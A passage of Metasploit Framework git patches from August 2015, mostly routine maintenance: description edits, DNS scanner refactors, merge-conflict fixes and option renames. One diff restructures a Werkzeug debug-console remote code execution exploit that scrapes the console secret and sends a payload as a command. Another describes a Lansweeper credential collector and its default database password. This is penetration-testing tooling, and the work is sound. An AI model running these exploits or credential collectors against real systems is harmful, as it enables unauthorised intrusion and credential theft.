28fbb7cdde87ac378f2e32c1bebd39aa22d1ae42 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Wed, 12 Aug 2015 16:05:09 -0400 Subject: [PATCH 0250/2172] Update the description of the sshexec module --- modules/exploits/multi/ssh/sshexec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index 0e708a6f59..582fd47035 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -17,9 +17,9 @@ class Metasploit3 < Msf::Exploit::Remote super( 'Name' => 'SSH User Code Execution', 'Description' => %q{ - This module utilizes a stager to upload an encoded - binary which is then decoded, chmod'ed and executed from - the command shell. + This module connects to the target system and executes the necessary + commands to run the specified payload via SSH. If a native payload is + specified an appropriate stager will be used. }, 'Author' => ['Spencer McIntyre', 'Brandon Knight'], 'References' => From e7566d6aeeb219db95f1f2f7cbe0cdb38f96e839 Mon Sep 17 00:00:00 2001 From: jakxx <jakx.ppr@gmail.com> Date: Wed, 12 Aug 2015 16:08:04 -0400 Subject: [PATCH 0251/2172] Adding print_status line --- modules/exploits/windows/fileformat/videocharge_studio.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/fileformat/videocharge_studio.rb b/modules/exploits/windows/fileformat/videocharge_studio.rb index 44ba823483..68cbfde4ef 100644 --- a/modules/exploits/windows/fileformat/videocharge_studio.rb +++ b/modules/exploits/windows/fileformat/videocharge_studio.rb @@ -79,6 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote </cols> </config>| + print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(file) end From 53e747ce2e986fa6dfbcb72784f3db0d8013c7a8 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 12 Aug 2015 15:35:03 -0500 Subject: [PATCH 0252/2172] added infer_vuln_from_session to other valid case MSP-13064 --- lib/msf/core/db_manager/session.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index fff0140739..455d482cc7 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -98,6 +98,7 @@ module Msf::DBManager::Session run: session.exploit.user_data[:run], state: 'succeeded', ) + infer_vuln_from_session(session, wspace) elsif session.via_exploit # This is a live session, we know the host is vulnerable to something. infer_vuln_from_session(session, wspace) From 01b3ae2dd88778fbfed14b4dd8d85165ec15a405 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 12 Aug 2015 15:43:16 -0500 Subject: [PATCH 0253/2172] Revert "added infer_vuln_from_session to other valid case" This reverts commit 53e747ce2e986fa6dfbcb72784f3db0d8013c7a8. --- lib/msf/core/db_manager/session.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 455d482cc7..fff0140739 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -98,7 +98,6 @@ module Msf::DBManager::Session run: session.exploit.user_data[:run], state: 'succeeded', ) - infer_vuln_from_session(session, wspace) elsif session.via_exploit # This is a live session, we know the host is vulnerable to something. infer_vuln_from_session(session, wspace) From 790356bac80405215c2bdf9d1e22f6b476da48fb Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 12 Aug 2015 15:45:37 -0500 Subject: [PATCH 0254/2172] add infer_vuln_from_session to other valid case MSP-13065 --- lib/msf/core/db_manager/session.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index fff0140739..455d482cc7 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -98,6 +98,7 @@ module Msf::DBManager::Session run: session.exploit.user_data[:run], state: 'succeeded', ) + infer_vuln_from_session(session, wspace) elsif session.via_exploit # This is a live session, we know the host is vulnerable to something. infer_vuln_from_session(session, wspace) From e9203060b0e16b2ab4c68a1bc526217b53907347 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 12 Aug 2015 16:20:14 -0500 Subject: [PATCH 0255/2172] Allow the hostname and port to be overridden, necessary for complex NAT setups --- lib/msf/core/handler/reverse_http.rb | 24 ++++++++++++++++++------ 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 51ed995647..74324df75e 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -55,7 +55,9 @@ module ReverseHttp OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']), OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']), OptInt.new('ReverseListenerBindPort', [false, 'The port to bind to on the local system if different from LPORT']), - OptBool.new('OverrideRequestHost', [false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false]), + OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]), + OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']), + OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']), OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>']), OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false]) ], Msf::Handler::ReverseHttp) @@ -89,13 +91,23 @@ module ReverseHttp # # @return [String] A URI of the form +scheme://host:port/+ def payload_uri(req) - if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost'] + callback_host = nil + + # Extract whatever the client sent us in the Host header + if req and req.headers and req.headers['Host'] callback_host = req.headers['Host'] - elsif Rex::Socket.is_ipv6?(datastore['LHOST']) - callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}" - else - callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}" end + + # Override these host and port as appropriate + if datastore['OverrideRequestHost'] || callback_host.nil? + callback_name = datastore['OverrideLHOST'] || datastore['LHOST'] + callback_port = datastore['OverrideLPORT'] || datastore['LPORT'] + if Rex::Socket.is_ipv6? callback_name + callback_name = "[#{callback_name}]" + end + callback_host = "#{callback_name}:#{callback_port}" + end + "#{scheme}://#{callback_host}/" end From 6e75db090f1b13217cfe0f808dc5506d43f09d94 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 12 Aug 2015 21:11:48 -0500 Subject: [PATCH 0256/2172] Fix comment --- lib/msf/core/handler/reverse_http.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 74324df75e..6a92c6e416 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -98,7 +98,7 @@ module ReverseHttp callback_host = req.headers['Host'] end - # Override these host and port as appropriate + # Override the host and port as appropriate if datastore['OverrideRequestHost'] || callback_host.nil? callback_name = datastore['OverrideLHOST'] || datastore['LHOST'] callback_port = datastore['OverrideLPORT'] || datastore['LPORT'] From 4b41e8e42cb809f90b3b9e099aaa9fd9b9b6d37d Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 13 Aug 2015 08:55:09 -0700 Subject: [PATCH 0257/2172] Fix Net::DNS::RR merge conflicts. really --- lib/net/dns/rr/classes.rb | 4 ---- lib/net/dns/rr/types.rb | 4 ---- 2 files changed, 8 deletions(-) diff --git a/lib/net/dns/rr/classes.rb b/lib/net/dns/rr/classes.rb index 03120738d6..2ec1aaf1dd 100644 --- a/lib/net/dns/rr/classes.rb +++ b/lib/net/dns/rr/classes.rb @@ -110,12 +110,8 @@ module Net # :nodoc: @num = cls @str = Classes.invert[cls] else -<<<<<<< HEAD @num = cls @str = "CLASS#{cls}" -======= - raise ClassesArgumentError, "Unknown cls number #{cls}" ->>>>>>> master end end diff --git a/lib/net/dns/rr/types.rb b/lib/net/dns/rr/types.rb index cc457fe03c..e4507d23c2 100644 --- a/lib/net/dns/rr/types.rb +++ b/lib/net/dns/rr/types.rb @@ -188,12 +188,8 @@ module Net # :nodoc: @num = type @str = Types.invert[type] else -<<<<<<< HEAD @num = type @str = "TYPE#{type}" -======= - raise TypeArgumentError, "Unknown type number #{type}" ->>>>>>> master end end From 50041fad2a28867502d784bd4e35ef869a75e3a8 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu, 13 Aug 2015 12:33:04 -0500 Subject: [PATCH 0258/2172] Pre-Bloggery cleanup Edited modules/auxiliary/gather/lansweeper_collector.rb first landed in and minor description word choice changes. Edited modules/auxiliary/server/browser_autopwn2.rb first landed in options. Also removed from the description the missing options of 'WhiteList' and 'RealList' -- those don't appear to be available according to `show options` and `show advanced`, @wchen-r7. Edited modules/post/multi/recon/local_exploit_suggester.rb first landed in #5823, mv local_exploit_{suggestor,suggester} for minor description cleanup and axing the description of the SHOWDESCRIPTION option (it's already described identically on the option itself). --- .../auxiliary/gather/lansweeper_collector.rb | 16 +++++++++------- modules/auxiliary/server/browser_autopwn2.rb | 18 ++++++------------ .../multi/recon/local_exploit_suggester.rb | 5 ++--- 3 files changed, 17 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/gather/lansweeper_collector.rb b/modules/auxiliary/gather/lansweeper_collector.rb index 7a523bea6b..484c796beb 100644 --- a/modules/auxiliary/gather/lansweeper_collector.rb +++ b/modules/auxiliary/gather/lansweeper_collector.rb @@ -6,14 +6,16 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Lansweeper Collector', + 'Name' => 'Lansweeper Credential Collector', 'Description' => %q( - Lansweeper stores the credentials it uses to scan the computers in its MSSQL database. - The passwords are XTea-encrypted with a 68 character long key, which first 8 character - are stored with the password in the database, and the other 60 is static. Lansweeper by - default creates an MSSQL user "lansweeperuser" whose password is "mysecretpassword0*", - and stores its data in a database called "lansweeperdb". This module will query the MSSQL - database for the credentials. + Lansweeper stores the credentials it uses to scan the computers + in its Microsoft SQL database. The passwords are XTea-encrypted with a + 68 character long key, in which the first 8 characters are stored with + the password in the database and the other 60 is static. Lansweeper, by + default, creates an MSSQL user "lansweeperuser" with the password is + "mysecretpassword0*", and stores its data in a database called + "lansweeperdb". This module will query the MSSQL database for the + credentials. ), 'Author' => [ diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index a388e1ce59..1c28beee94 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -15,35 +15,29 @@ class Metasploit3 < Msf::Auxiliary This module will automatically serve browser exploits. Here are the options you can configure: - The Include option allows you to specify the kind of exploits to be loaded. For example, + The INCLUDE_PATTERN option allows you to specify the kind of exploits to be loaded. For example, if you wish to load just Adobe Flash exploits, then you can set Include to 'adobe_flash'. - The Exclude option will ignore exploits. For example, if you don't want any Adobe Flash + The EXCLUDE_PATTERN option will ignore exploits. For example, if you don't want any Adobe Flash exploits, you can set this. Also note that the Exclude option will always be evaludated after the Include option. - The MaxExploits option specifies the max number of exploits to load by Browser Autopwn. + The MaxExploitCount option specifies the max number of exploits to load by Browser Autopwn. By default, 20 will be loaded. But note that the client will probably not be vulnerable to all 20 of them, so only some will actually be served to the client. - The Content option allows you to provide a basic webpage. This is what the user behind + The HTMLContent option allows you to provide a basic webpage. This is what the user behind the vulnerable browser will see. You can simply set a string, or you can do the file:// syntax to load an HTML file. Note this option might break exploits so try to keep it as simple as possible. - The WhiteList option can be used to avoid visitors that are outside the scope of your - pentest engagement. IPs that are not on the list will not be attacked. - - The MaxSessions option is used to limit how many sessions Browser Autopwn is allowed to + The MaxSessionCount option is used to limit how many sessions Browser Autopwn is allowed to get. The default -1 means unlimited. Combining this with other options such as RealList and Custom404, you can get information about which visitors (IPs) clicked on your malicious link, what exploits they might be vulnerable to, redirect them to your own internal training website without actually attacking them. - The RealList is an option that will list what exploits the client might be vulnerable to - based on basic browser information. If possible, you can run the exploits for validation. - - For more information about Browser Autopwn, please see the reference link. + For more information about Browser Autopwn, please see the referenced blog post. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], diff --git a/modules/post/multi/recon/local_exploit_suggester.rb b/modules/post/multi/recon/local_exploit_suggester.rb index 64962b4ac6..45b15e312c 100644 --- a/modules/post/multi/recon/local_exploit_suggester.rb +++ b/modules/post/multi/recon/local_exploit_suggester.rb @@ -14,11 +14,10 @@ class Metasploit3 < Msf::Post This module suggests local meterpreter exploits that can be used. The exploits are suggested based on the architecture and platform that the user has a shell opened as well as the available exploits in - meterpreter. Additionally, the ShowDescription option can be set - to 'true' to a detailed description on the suggested exploits. + meterpreter. It's important to note that not all local exploits will be fired. - They are chosen based on these conditions: session type, + Exploits are chosen based on these conditions: session type, platform, architecture, and required default options. }, 'License' => MSF_LICENSE, From bb4116ed9d7ebbf9f5ae5f16d43b1891b94a875e Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu, 13 Aug 2015 12:37:15 -0500 Subject: [PATCH 0259/2172] Avoid msftidy.rb rule breaking on missing newline --- modules/exploits/windows/fileformat/homm3_h3m.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb index b2a98e1245..6aa41e1263 100644 --- a/modules/exploits/windows/fileformat/homm3_h3m.rb +++ b/modules/exploits/windows/fileformat/homm3_h3m.rb @@ -318,4 +318,5 @@ class Metasploit3 < Msf::Exploit::Remote res = data + [bkd_crc].pack('<L') res end -end \ No newline at end of file +end + From 9f2c62d4ce84a34882708facdf4529215b007da2 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 13 Aug 2015 11:17:27 -0700 Subject: [PATCH 0260/2172] Use query_name instead of datastore --- modules/auxiliary/scanner/mdns/query.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index b861ca52f5..085ea645be 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary def scanner_prescan(batch) print_status("Sending mDNS #{query_type_name} #{query_class_name} queries for " + - "#{datastore['NAME']} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)") + "#{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)") @results = {} end From 61e23ad23e88ce64c27e2ef9544a53b4d828082b Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 13 Aug 2015 11:29:56 -0700 Subject: [PATCH 0261/2172] Switch back to ::Net::DNS::Packet.new --- lib/msf/core/auxiliary/mdns.rb | 23 +++++------------------ modules/auxiliary/scanner/llmnr/query.rb | 9 --------- modules/auxiliary/scanner/mdns/query.rb | 11 ----------- 3 files changed, 5 insertions(+), 38 deletions(-) diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb index 7da69af4c5..50eb503d5f 100644 --- a/lib/msf/core/auxiliary/mdns.rb +++ b/lib/msf/core/auxiliary/mdns.rb @@ -24,24 +24,11 @@ module Msf query_type_name end - # Returns the raw query message - def query - # Note that we don't use ::Net::DNS::Packet or similar here because of - # the current restrictions it places on RRs, specifically the values that - # it allows for RR names (it only allows valid RR names, we often need to - # query invalid ones for various purposes) - [ - 0, # rand(65535), # id - 0, # all-0 qr, opcode, conflict, truncation, tentative, reserved an rcode - 1, # number of questions - 0, # number of answer RRs - 0, # number of authority RRs - 0, # number of additional RRs - query_name.length, - query_name, - query_type_num, - query_class_num - ].pack("nnnnnnCa#{query_name.length + 1}nn") + def build_probe + @probe ||= ::Net::DNS::Packet.new(query_name, query_type_num, query_class_num).data + # TODO: support QU vs QM probes + # @probe[@probe.size-2] = [0x80].pack('C') + # @probe end def query_class diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 9360d1e8de..1bdb5a1616 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -30,15 +30,6 @@ class Metasploit3 < Msf::Auxiliary ) end - def build_probe - @probe ||= query - end - - def scanner_process(data, shost, _sport) - @results[shost] ||= [] - @results[shost] << data - end - def scanner_prescan(batch) print_status("Sending LLMNR #{query_type_name}/#{query_class_name} queries for #{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)") @results = {} diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index 085ea645be..bae478d46a 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -28,17 +28,6 @@ class Metasploit3 < Msf::Auxiliary ) end - def build_probe - @probe ||= query - #@probe[@probe.size-2] = [0x80].pack('C') - #@probe - end - - def scanner_process(data, shost, _sport) - @results[shost] ||= [] - @results[shost] << data - end - def scanner_prescan(batch) print_status("Sending mDNS #{query_type_name} #{query_class_name} queries for " + "#{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)") From 92d0e212d94ce182890db27d3c280e58a81b2338 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 13 Aug 2015 11:30:20 -0700 Subject: [PATCH 0262/2172] Update Auxiliary::UDPScanner to collect all responses by default --- lib/msf/core/auxiliary/udp_scanner.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb index a54773f337..12814c4f39 100644 --- a/lib/msf/core/auxiliary/udp_scanner.rb +++ b/lib/msf/core/auxiliary/udp_scanner.rb @@ -180,7 +180,9 @@ module Auxiliary::UDPScanner end # Called for each response packet - def scanner_process(data, shost, sport) + def scanner_process(data, shost, _sport) + @results[shost] ||= [] + @results[shost] << data end # Called before the scan block From d54ee19ce9a3dbc9ca7dccdda4f7662f1754a1dc Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Thu, 13 Aug 2015 13:25:55 -0500 Subject: [PATCH 0263/2172] Clean up module --- .../exploits/multi/http/werkzeug_debug_rce.rb | 58 +++++++++++-------- 1 file changed, 33 insertions(+), 25 deletions(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index 30843aab57..4ec74e7e02 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -7,33 +7,37 @@ require 'msf/core' require 'rex' class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient - def initialize - super( - 'Name' => 'Werkzeug Debug Shell Command Execution', - 'Description' => %q{ + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Werkzeug Debug Shell Command Execution', + 'Description' => %q{ This module will exploit the Werkzeug debug console to put down a - python shell. This debugger "must never be used on production - machines", but sometimes slips passed testing. + Python shell. This debugger "must never be used on production + machines" but sometimes slips passed testing. + Tested against: - 0.9.6 on Debian - 0.9.6 on Centos - 0.10 on Debian + 0.9.6 on Debian + 0.9.6 on Centos + 0.10 on Debian }, - 'Author' => 'h00die <mike[at]shorebreaksecurity.com>', - 'References' => - [ - [ 'URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'] - ], - 'License' => MSF_LICENSE, + 'Author' => 'h00die <mike[at]shorebreaksecurity.com>', + 'References' => + [ + ['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'] + ], + 'License' => MSF_LICENSE, 'Platform' => ['python'], 'Targets' => [[ 'werkzeug 0.10 and older', {}]], 'Arch' => ARCH_PYTHON, 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jun 28 2015', - ) + 'DisclosureDate' => 'Jun 28 2015' + )) + register_options( [ OptString.new('TARGETURI', [true, 'URI to the console', '/console']) @@ -43,23 +47,26 @@ class Metasploit4 < Msf::Exploit::Remote def check res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']) + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI']) ) + # https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67 if res && res.body =~ /Werkzeug powered traceback interpreter/ return Exploit::CheckCode::Appears end + Exploit::CheckCode::Safe end def exploit # first we need to get the SECRET code res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']) + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI']) ) - if res && res.body && res.body.to_s =~ /SECRET = "([a-zA-Z0-9]{20})";/ + + if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/ secret = $1 vprint_status("Secret Code: #{secret}") send_request_cgi( @@ -67,13 +74,14 @@ class Metasploit4 < Msf::Exploit::Remote 'uri' => normalize_uri(datastore['TARGETURI']), 'vars_get' => { '__debugger__' => 'yes', - 'cmd' => payload.encoded, - 'frm' => '0', - 's' => secret + 'cmd' => payload.encoded, + 'frm' => '0', + 's' => secret } ) else print_error('Secret code not detected.') end end + end From 9c77669ebfb193ce2f720a41e8e3dab089ebfbed Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 13 Aug 2015 11:41:05 -0700 Subject: [PATCH 0264/2172] Remove unnecessary files --- lib/rex/proto/llmnr.rb | 1 - lib/rex/proto/mdns.rb | 1 - 2 files changed, 2 deletions(-) delete mode 100644 lib/rex/proto/llmnr.rb delete mode 100644 lib/rex/proto/mdns.rb diff --git a/lib/rex/proto/llmnr.rb b/lib/rex/proto/llmnr.rb deleted file mode 100644 index 3752de55ce..0000000000 --- a/lib/rex/proto/llmnr.rb +++ /dev/null @@ -1 +0,0 @@ -# -*- coding: binary -*- diff --git a/lib/rex/proto/mdns.rb b/lib/rex/proto/mdns.rb deleted file mode 100644 index 3752de55ce..0000000000 --- a/lib/rex/proto/mdns.rb +++ /dev/null @@ -1 +0,0 @@ -# -*- coding: binary -*- From c257f8945b888174ce74a9d54985a9198b41b107 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 13 Aug 2015 11:51:39 -0700 Subject: [PATCH 0265/2172] Don't use now-removed files --- lib/msf/core/auxiliary/mdns.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb index 50eb503d5f..63337a8e71 100644 --- a/lib/msf/core/auxiliary/mdns.rb +++ b/lib/msf/core/auxiliary/mdns.rb @@ -1,6 +1,5 @@ # -*- coding: binary -*- require 'net/dns' -require 'rex/proto/mdns' module Msf # This module provides methods for working with mDNS From 3bd6c4cee4e00ea6de35ada5386529d4addca021 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Thu, 13 Aug 2015 14:16:09 -0500 Subject: [PATCH 0266/2172] Add a comma --- modules/exploits/multi/ssh/sshexec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index 582fd47035..51a57cbc44 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module connects to the target system and executes the necessary commands to run the specified payload via SSH. If a native payload is - specified an appropriate stager will be used. + specified, an appropriate stager will be used. }, 'Author' => ['Spencer McIntyre', 'Brandon Knight'], 'References' => From 80a22412d96be243bee2b88939ccc46a90553ed7 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 12 Aug 2015 20:55:55 +0200 Subject: [PATCH 0267/2172] use EXITFUNC instead of ExitFunction --- modules/exploits/apple_ios/ssh/cydia_default_ssh.rb | 2 +- modules/exploits/linux/http/openfiler_networkcard_exec.rb | 2 +- .../exploits/linux/http/symantec_web_gateway_file_upload.rb | 2 +- modules/exploits/linux/http/symantec_web_gateway_lfi.rb | 2 +- modules/exploits/linux/http/wanem_exec.rb | 2 +- modules/exploits/linux/http/zen_load_balancer_exec.rb | 2 +- modules/exploits/linux/misc/hp_vsa_login_bof.rb | 2 +- modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb | 2 +- modules/exploits/linux/ssh/symantec_smg_ssh.rb | 2 +- modules/exploits/multi/http/apprain_upload_exec.rb | 2 +- modules/exploits/multi/http/cuteflow_upload_exec.rb | 2 +- modules/exploits/multi/http/log1cms_ajax_create_folder.rb | 2 +- modules/exploits/multi/http/php_volunteer_upload_exec.rb | 2 +- modules/exploits/multi/http/qdpm_upload_exec.rb | 2 +- modules/exploits/multi/http/testlink_upload_exec.rb | 2 +- modules/exploits/multi/http/webpagetest_upload_exec.rb | 2 +- modules/exploits/multi/http/wikka_spam_exec.rb | 2 +- modules/exploits/multi/misc/batik_svg_java.rb | 2 +- modules/exploits/multi/misc/hp_vsa_exec.rb | 2 +- modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb | 2 +- modules/exploits/unix/webapp/egallery_upload_exec.rb | 2 +- modules/exploits/unix/webapp/opensis_modname_exec.rb | 2 +- modules/exploits/unix/webapp/php_charts_exec.rb | 2 +- modules/exploits/unix/webapp/xoda_file_upload.rb | 2 +- modules/exploits/windows/browser/clear_quest_cqole.rb | 2 +- modules/exploits/windows/browser/getgodm_http_response_bof.rb | 2 +- .../windows/browser/hp_alm_xgo_setshapenodetype_exec.rb | 2 +- modules/exploits/windows/browser/ie_execcommand_uaf.rb | 2 +- .../windows/browser/msxml_get_definition_code_exec.rb | 2 +- .../windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb | 2 +- modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb | 2 +- .../exploits/windows/fileformat/actfax_import_users_bof.rb | 2 +- modules/exploits/windows/fileformat/allplayer_m3u_bof.rb | 2 +- modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb | 2 +- modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb | 2 +- modules/exploits/windows/fileformat/easycdda_pls_bof.rb | 2 +- modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb | 2 +- .../windows/fileformat/erdas_er_viewer_rf_report_error.rb | 2 +- modules/exploits/windows/fileformat/iftp_schedule_bof.rb | 2 +- modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb | 2 +- modules/exploits/windows/fileformat/lattice_pac_bof.rb | 2 +- modules/exploits/windows/fileformat/mplayer_m3u_bof.rb | 2 +- modules/exploits/windows/fileformat/ms12_005.rb | 2 +- modules/exploits/windows/fileformat/mswin_tiff_overflow.rb | 2 +- modules/exploits/windows/fileformat/publishit_pui.rb | 2 +- .../windows/fileformat/real_player_url_property_bof.rb | 2 +- .../windows/fileformat/realplayer_ver_attribute_bof.rb | 2 +- .../exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb | 2 +- .../exploits/windows/fileformat/total_video_player_ini_bof.rb | 2 +- modules/exploits/windows/ftp/quickshare_traversal_write.rb | 2 +- modules/exploits/windows/http/ezserver_http.rb | 2 +- modules/exploits/windows/http/intrasrv_bof.rb | 2 +- modules/exploits/windows/http/rabidhamster_r4_log.rb | 2 +- modules/exploits/windows/misc/allmediaserver_bof.rb | 2 +- modules/exploits/windows/scada/winlog_runtime_2.rb | 2 +- modules/exploits/windows/tftp/distinct_tftp_traversal.rb | 2 +- modules/exploits/windows/tftp/netdecision_tftp_traversal.rb | 2 +- tools/msftidy.rb | 4 ++++ 58 files changed, 61 insertions(+), 57 deletions(-) diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb index 1cb15a9101..008a1c4869 100644 --- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb +++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Payload' => { diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index 806a86b0f8..78036de0f3 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'none' + 'EXITFUNC' => 'none' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb 